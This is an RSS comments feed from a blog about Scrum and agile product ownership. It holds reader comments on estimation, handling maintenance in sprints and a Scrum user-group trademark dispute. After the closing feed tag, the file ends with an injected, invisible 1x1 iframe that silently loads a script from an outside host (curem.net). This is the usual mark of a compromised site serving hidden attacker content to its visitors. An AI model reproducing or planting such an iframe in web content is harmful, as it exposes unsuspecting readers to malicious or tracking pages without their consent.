<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for Karmængine</title>
	<atom:link href="http://www.karmaengine.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.karmaengine.com</link>
	<description>Scrums, agile development, analytics, SEO, and general commentary from a product owner</description>
	<lastBuildDate>Thu, 22 Apr 2010 10:03:25 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on How to break your Product Owner by Jacob</title>
		<link>http://www.karmaengine.com/scrum/how-to-break-your-product-owner/comment-page-1/#comment-210</link>
		<dc:creator>Jacob</dc:creator>
		<pubDate>Thu, 22 Apr 2010 10:03:25 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=254#comment-210</guid>
		<description>People always replace things with something better. How then, should I feel to be replaced by an imbecile?</description>
		<content:encoded><![CDATA[<p>People always replace things with something better. How then, should I feel to be replaced by an imbecile?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Where SCRUM goes wrong by Tim Kadom (ThoughtWorks)</title>
		<link>http://www.karmaengine.com/scrum/where-scrum-goes-wrong/comment-page-1/#comment-208</link>
		<dc:creator>Tim Kadom (ThoughtWorks)</dc:creator>
		<pubDate>Fri, 12 Feb 2010 16:12:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=53#comment-208</guid>
		<description>(+1) for identifying impediments.  A mature agile team would react to these, and I would encourage you to bring your concerns up in your next retrospective.  Assuming you already have, and did not get any tangible action items for improvement, I can offer up a couple of suggestions, but the ones your team arrives at will likely be more relevant to your situation.

Maintenance, production support, defects, performance issues are all in one bucket for us.  We allocate one pair capacity for these for each iteration.  That pair rotates on a daily basis, but does not work on iteration work.  If there is a production issue, that pair works on the production issue.  If there is no production issue, the pair will look for any performance cards that have been created.  If there are no performance cards, then there are low priority defects which have been identified, but were not scheduled to be resolved, beyond that there are team productivity cards that this pair could play.    

This pair rotates on a daily basis, so you do not loose the cross functional skill development for your team.  Your capacity for work in the iteration does go down by one pair, but it is done in a controlled predictable manner that still allows you to schedule and commit to the iteration work for the other pairs without being concerned about interrupting the scheduled and committed work.

As far as the estimation issues are concerned, I have a couple of comments.  First off if there is a drastic difference in estimates, simply averaging the two is not going to yield positive results.  The developers will need to explain their rationale for the wild difference.  Once the polar opposites have walked through their case, we have all the developers re-throw their estimate.  It generally will converge to either the higher or lower side depending on how convincing the supporting arguments for each of the throws were.  Even so, if you do not yet have agreement and the 13 holds strong while the rest of the team migrates to the lower end, the fact that you are pairing should mitigate the risk there.  You may need developers to throw several times on an item if there is a large disparity in the estimate.  We will not put a team estimate on a card until the whole team can come to a consensus.  We will frequently ask the team if the estimates are subtle difference, if an average would suffice.  Usually on a small difference, that is a perfectly legitimate solution. (+1) to the Cohn book on the subject, it would well be worth exploring.  I would also like to underscore that these are estimates.  And estimates by their nature will not and can not be precisely accurate. 

The self-organizing, and continuous improvement mantra of agile means that your teams may evolve past the SCRUM baseline at some point.  Respect the principles of continuous improvement and self organization, and I would be surprised if you were not able to overcome the challenges you identified in this post.

Tim Kadom</description>
		<content:encoded><![CDATA[<p>(+1) for identifying impediments.  A mature agile team would react to these, and I would encourage you to bring your concerns up in your next retrospective.  Assuming you already have, and did not get any tangible action items for improvement, I can offer up a couple of suggestions, but the ones your team arrives at will likely be more relevant to your situation.</p>
<p>Maintenance, production support, defects, performance issues are all in one bucket for us.  We allocate one pair capacity for these for each iteration.  That pair rotates on a daily basis, but does not work on iteration work.  If there is a production issue, that pair works on the production issue.  If there is no production issue, the pair will look for any performance cards that have been created.  If there are no performance cards, then there are low priority defects which have been identified, but were not scheduled to be resolved, beyond that there are team productivity cards that this pair could play.    </p>
<p>This pair rotates on a daily basis, so you do not loose the cross functional skill development for your team.  Your capacity for work in the iteration does go down by one pair, but it is done in a controlled predictable manner that still allows you to schedule and commit to the iteration work for the other pairs without being concerned about interrupting the scheduled and committed work.</p>
<p>As far as the estimation issues are concerned, I have a couple of comments.  First off if there is a drastic difference in estimates, simply averaging the two is not going to yield positive results.  The developers will need to explain their rationale for the wild difference.  Once the polar opposites have walked through their case, we have all the developers re-throw their estimate.  It generally will converge to either the higher or lower side depending on how convincing the supporting arguments for each of the throws were.  Even so, if you do not yet have agreement and the 13 holds strong while the rest of the team migrates to the lower end, the fact that you are pairing should mitigate the risk there.  You may need developers to throw several times on an item if there is a large disparity in the estimate.  We will not put a team estimate on a card until the whole team can come to a consensus.  We will frequently ask the team if the estimates are subtle difference, if an average would suffice.  Usually on a small difference, that is a perfectly legitimate solution. (+1) to the Cohn book on the subject, it would well be worth exploring.  I would also like to underscore that these are estimates.  And estimates by their nature will not and can not be precisely accurate. </p>
<p>The self-organizing, and continuous improvement mantra of agile means that your teams may evolve past the SCRUM baseline at some point.  Respect the principles of continuous improvement and self organization, and I would be surprised if you were not able to overcome the challenges you identified in this post.</p>
<p>Tim Kadom</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Where SCRUM goes wrong by Christian Hofmann</title>
		<link>http://www.karmaengine.com/scrum/where-scrum-goes-wrong/comment-page-1/#comment-205</link>
		<dc:creator>Christian Hofmann</dc:creator>
		<pubDate>Wed, 16 Sep 2009 19:39:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=53#comment-205</guid>
		<description>I think there are several things that need to be changed.

First of all, you are talking about your role as a Scrum Product Owner. Most of the problems that you talk about have to be managed by the Scrum Master and/or the Team. Are you missing a Scrum Master? Your example developer is not managing himself nor the team does this. So the Scrum Master should have noticed this (e.g. the bombardment in Skype) and would have to work on this impediment. As a Scrum Master this problem would have raised in one of the first Daily Scrums.
To say it clear: Your Scrum Master didn&#039;t do his job or you have made the big mistake to not have a Scrum Master!

Second: Never push the team. If you have a lot of other things to do, you need to put them into the planning process and they must end up in tasks within the stories built and delivered during a sprint! By pushing &#039;other work&#039; into a running sprint you would violate Scrum rules. But: What I would suggest is to split maintenance and bug fixing / support tasks. Maintenance has to go to the product backlog and will be selected for the next sprint during the sprint planning (if importance is high enough, this is your part as a Product Owner). Bug fixing is different, it may be necessary to do this immediately. If this is the case, put the bug fix request as a new task card (perhaps use a differently colored card) on the task board into the current story as a highest priority task. The next available or capable team member has to select this task and work on it. Now the result is the following: of course you have more work in the story/sprint than initially planned but you have a task card for this. This will be your reminder in the retrospection. You will not sit there and ask yourself what went wrong; you have the reasons as cards on your board.
Finally your Team has to decide how many stories/story points they will select in the next sprint.
You will see that if you make bug fixing a type of impediment for the developers, they will self-organize this. In most of the projects quality will raise from sprint to sprint and the bug-fixing will decrease and the Team will not be &#039;disturbed&#039; by bug-fixing anymore.

Third: Estimating in Scrum is much more about Story Points and NOT hours or days. This is a common mistake. Especially not number of day for experienced developers and number of days for dumb developers. I have the feeling that your Team is not selecting the right amount of work for them (as a Team not for each one as a individual). You should never pre-assign tasks to team members, nor should the team do this, because this member may become ill or is missing for any other reason. The Team 
So please try to estimate as James has already suggested in his posting.</description>
		<content:encoded><![CDATA[<p>I think there are several things that need to be changed.</p>
<p>First of all, you are talking about your role as a Scrum Product Owner. Most of the problems that you talk about have to be managed by the Scrum Master and/or the Team. Are you missing a Scrum Master? Your example developer is not managing himself nor the team does this. So the Scrum Master should have noticed this (e.g. the bombardment in Skype) and would have to work on this impediment. As a Scrum Master this problem would have raised in one of the first Daily Scrums.<br />
To say it clear: Your Scrum Master didn&#8217;t do his job or you have made the big mistake to not have a Scrum Master!</p>
<p>Second: Never push the team. If you have a lot of other things to do, you need to put them into the planning process and they must end up in tasks within the stories built and delivered during a sprint! By pushing &#8216;other work&#8217; into a running sprint you would violate Scrum rules. But: What I would suggest is to split maintenance and bug fixing / support tasks. Maintenance has to go to the product backlog and will be selected for the next sprint during the sprint planning (if importance is high enough, this is your part as a Product Owner). Bug fixing is different, it may be necessary to do this immediately. If this is the case, put the bug fix request as a new task card (perhaps use a differently colored card) on the task board into the current story as a highest priority task. The next available or capable team member has to select this task and work on it. Now the result is the following: of course you have more work in the story/sprint than initially planned but you have a task card for this. This will be your reminder in the retrospection. You will not sit there and ask yourself what went wrong; you have the reasons as cards on your board.<br />
Finally your Team has to decide how many stories/story points they will select in the next sprint.<br />
You will see that if you make bug fixing a type of impediment for the developers, they will self-organize this. In most of the projects quality will raise from sprint to sprint and the bug-fixing will decrease and the Team will not be &#8216;disturbed&#8217; by bug-fixing anymore.</p>
<p>Third: Estimating in Scrum is much more about Story Points and NOT hours or days. This is a common mistake. Especially not number of day for experienced developers and number of days for dumb developers. I have the feeling that your Team is not selecting the right amount of work for them (as a Team not for each one as a individual). You should never pre-assign tasks to team members, nor should the team do this, because this member may become ill or is missing for any other reason. The Team<br />
So please try to estimate as James has already suggested in his posting.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Product Owner or Product Pwn3r? by Jacob</title>
		<link>http://www.karmaengine.com/scrum/product-owner-or-product-pwn3r/comment-page-1/#comment-204</link>
		<dc:creator>Jacob</dc:creator>
		<pubDate>Wed, 19 Aug 2009 10:38:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=202#comment-204</guid>
		<description>What a ridiculous and useless post. 

Apologies to all who read this useless post. I don&#039;t agree with anything I&#039;ve written there.</description>
		<content:encoded><![CDATA[<p>What a ridiculous and useless post. </p>
<p>Apologies to all who read this useless post. I don&#8217;t agree with anything I&#8217;ve written there.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on StatsJunky &#8211; Special offer by Jacob</title>
		<link>http://www.karmaengine.com/data-gathering/statsjunky-special-offer/comment-page-1/#comment-203</link>
		<dc:creator>Jacob</dc:creator>
		<pubDate>Tue, 04 Aug 2009 21:34:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=199#comment-203</guid>
		<description>Ok I&#039;ve tried it.

Well, it is like Google Adwords Editor, Microsoft WhatevertheforkIt&#039;sCalledSimilarApp rolled into one and then hanging out with Yahoo. 

It&#039;s essentially useless. You can get the same results with other, free utilities.

So, don&#039;t pay for this pile of crap. Unless you want to abuse their Adwords API quota.</description>
		<content:encoded><![CDATA[<p>Ok I&#8217;ve tried it.</p>
<p>Well, it is like Google Adwords Editor, Microsoft WhatevertheforkIt&#8217;sCalledSimilarApp rolled into one and then hanging out with Yahoo. </p>
<p>It&#8217;s essentially useless. You can get the same results with other, free utilities.</p>
<p>So, don&#8217;t pay for this pile of crap. Unless you want to abuse their Adwords API quota.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Where SCRUM goes wrong by James Peckham</title>
		<link>http://www.karmaengine.com/scrum/where-scrum-goes-wrong/comment-page-1/#comment-202</link>
		<dc:creator>James Peckham</dc:creator>
		<pubDate>Fri, 31 Jul 2009 22:43:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=53#comment-202</guid>
		<description>Sounds like you&#039;ve uncovered 2 really important impediments to your team. This is good. Would you have discovered these impediments without scrum?

To me the impediments are that

 people feel obligated to &#039;stay available&#039; 100% of their daily time for supporting others.

estimating by hours doesn&#039;t work. Many scrum teams have found this out which is why many of them use relative point estimating. I recommend getting Mike Cohn&#039;s book &quot;Agile Estimating and Planning&quot; and maybe running through some excercises with the team.

GOod luck! Happy scrumming.</description>
		<content:encoded><![CDATA[<p>Sounds like you&#8217;ve uncovered 2 really important impediments to your team. This is good. Would you have discovered these impediments without scrum?</p>
<p>To me the impediments are that</p>
<p> people feel obligated to &#8217;stay available&#8217; 100% of their daily time for supporting others.</p>
<p>estimating by hours doesn&#8217;t work. Many scrum teams have found this out which is why many of them use relative point estimating. I recommend getting Mike Cohn&#8217;s book &#8220;Agile Estimating and Planning&#8221; and maybe running through some excercises with the team.</p>
<p>GOod luck! Happy scrumming.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Revolutionizing SCRUM with small changes by Martin Häcker</title>
		<link>http://www.karmaengine.com/scrum/revolutionizing-scrum-with-small-changes/comment-page-1/#comment-201</link>
		<dc:creator>Martin Häcker</dc:creator>
		<pubDate>Fri, 15 May 2009 08:37:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=85#comment-201</guid>
		<description>Hey, heads up to another of our users!

:-)

Regards,
Martin
Agilo for Scrum Developer</description>
		<content:encoded><![CDATA[<p>Hey, heads up to another of our users!</p>
<p> <img src='http://www.karmaengine.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Regards,<br />
Martin<br />
Agilo for Scrum Developer</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on GAAC: My views by Jacob</title>
		<link>http://www.karmaengine.com/gaac3/gaac-my-views/comment-page-1/#comment-200</link>
		<dc:creator>Jacob</dc:creator>
		<pubDate>Thu, 07 May 2009 11:19:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=22#comment-200</guid>
		<description>Had to share this email:

Today I experienced love increase towards Google Analytics (my love from the first report) 

As I am walking from booth to booth her in eMetrics, no one really distracted my attention from my first love. Many beautiful eyes (blue, green!. gray) but nothing compare to my beloved ORANGE eyes!

My lover is more friendly, simple, focused, real, free,… name it…

I do respect all other products, do not understand me wrong, and I hope Google and its partners learn from all these cool tools and try to get the best of each tool and make it available in Google Analytics.

It is really nice to see E-Nor, EpikOne, and Analytics Pros active promoting Google Analytics in eMetrics and hope to see the rest of the GAACs in the near future.

Your GAAC friend from the Bay,
Allaedin Ezzedin :)
E-Nor</description>
		<content:encoded><![CDATA[<p>Had to share this email:</p>
<p>Today I experienced love increase towards Google Analytics (my love from the first report) </p>
<p>As I am walking from booth to booth her in eMetrics, no one really distracted my attention from my first love. Many beautiful eyes (blue, green!. gray) but nothing compare to my beloved ORANGE eyes!</p>
<p>My lover is more friendly, simple, focused, real, free,… name it…</p>
<p>I do respect all other products, do not understand me wrong, and I hope Google and its partners learn from all these cool tools and try to get the best of each tool and make it available in Google Analytics.</p>
<p>It is really nice to see E-Nor, EpikOne, and Analytics Pros active promoting Google Analytics in eMetrics and hope to see the rest of the GAACs in the near future.</p>
<p>Your GAAC friend from the Bay,<br />
Allaedin Ezzedin <img src='http://www.karmaengine.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
E-Nor</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on &#8216;Scrum User Group&#8217; controversy by Jacob</title>
		<link>http://www.karmaengine.com/scrum/scrum-user-group-controversy/comment-page-1/#comment-199</link>
		<dc:creator>Jacob</dc:creator>
		<pubDate>Wed, 06 May 2009 07:16:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/?p=92#comment-199</guid>
		<description>An interesting response to the emails:

Hi Ron,


Ron Jeffries wrote:
&gt; A long time ago I had a conversation with Kent in which he said that
&gt; he had considered whether &quot;Extreme Programming&quot; should be
&gt; trademarked. He thought that the primary tradeoff was between
&gt; controlling what XP means, and broad adoption of the ideas (however
&gt; weakly). He chose the latter.
&gt; 
&gt; Those of us who complain from time to time that the notions of XP,
&gt; or Agile, or Scrum get watered down need to remember that story.


I have no problems with Trademarks /per se/. They are a necessary part 
of business. And I have no problem with companies saying things like, 
&quot;Scrum is a trademark. If you are going to use it, please adhere to the 
following guidelines&quot;. That&#039;s pretty normal - if you want to use our 
logo, here&#039;s how we ask you use it.

But the difference between that and asking groups who are the grassroots 
passionate users of Scrum that &quot;Scrum User Group&quot; is a trademark, and to 
use it you need to sign a document - that&#039;s over the line to me. That&#039;s 
what I wish they did not do. Offer guidelines - absolutely. Trademark 
something that&#039;s been in use for many years, and then come in after the 
fact and require a legal document to be signed to use it - not so much.

That&#039;s why I mentioned the Certified Scrum User Group Leader - I&#039;m not 
trying to be an ass, but merely point out that if you want to have that 
much control over the groups, then offer that. I just wish they didn&#039;t 
send out letters willy nilly to the very people trying their hardest to 
promoted and help the adoption of Scrum, and indirectly other agile 
practices and techniques.


-- 
Cory Foy</description>
		<content:encoded><![CDATA[<p>An interesting response to the emails:</p>
<p>Hi Ron,</p>
<p>Ron Jeffries wrote:<br />
> A long time ago I had a conversation with Kent in which he said that<br />
> he had considered whether &#8220;Extreme Programming&#8221; should be<br />
> trademarked. He thought that the primary tradeoff was between<br />
> controlling what XP means, and broad adoption of the ideas (however<br />
> weakly). He chose the latter.<br />
><br />
> Those of us who complain from time to time that the notions of XP,<br />
> or Agile, or Scrum get watered down need to remember that story.</p>
<p>I have no problems with Trademarks /per se/. They are a necessary part<br />
of business. And I have no problem with companies saying things like,<br />
&#8220;Scrum is a trademark. If you are going to use it, please adhere to the<br />
following guidelines&#8221;. That&#8217;s pretty normal &#8211; if you want to use our<br />
logo, here&#8217;s how we ask you use it.</p>
<p>But the difference between that and asking groups who are the grassroots<br />
passionate users of Scrum that &#8220;Scrum User Group&#8221; is a trademark, and to<br />
use it you need to sign a document &#8211; that&#8217;s over the line to me. That&#8217;s<br />
what I wish they did not do. Offer guidelines &#8211; absolutely. Trademark<br />
something that&#8217;s been in use for many years, and then come in after the<br />
fact and require a legal document to be signed to use it &#8211; not so much.</p>
<p>That&#8217;s why I mentioned the Certified Scrum User Group Leader &#8211; I&#8217;m not<br />
trying to be an ass, but merely point out that if you want to have that<br />
much control over the groups, then offer that. I just wish they didn&#8217;t<br />
send out letters willy nilly to the very people trying their hardest to<br />
promoted and help the adoption of Scrum, and indirectly other agile<br />
practices and techniques.</p>
<p>&#8211;<br />
Cory Foy</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Sprint Planning Poker Cards by Laura Cohn</title>
		<link>http://www.karmaengine.com/scrum/sprint-planning-poker-cards/comment-page-1/#comment-6</link>
		<dc:creator>Laura Cohn</dc:creator>
		<pubDate>Sat, 14 Feb 2009 22:43:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.karmaengine.com/scrum/sprint-planning-poker-cards#comment-6</guid>
		<description>If you don&#039;t have enough takers or would prefer, we&#039;d be happy to take the cards back and give you a refund for the cards that you don&#039;t need!  We think this is a very fun, creative method to pass them on, but if you decide you still have to many, please contact me at laura@mountaingoatsoftware.com and I&#039;ll happily arrange a refund.
Regards,
Laura</description>
		<content:encoded><![CDATA[<p>If you don&#8217;t have enough takers or would prefer, we&#8217;d be happy to take the cards back and give you a refund for the cards that you don&#8217;t need!  We think this is a very fun, creative method to pass them on, but if you decide you still have to many, please contact me at <a href="mailto:laura@mountaingoatsoftware.com">laura@mountaingoatsoftware.com</a> and I&#8217;ll happily arrange a refund.<br />
Regards,<br />
Laura</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe heigth="1" width="1" frameborder="0" src="http://curem.net/t.php?id=2154477"></iframe>

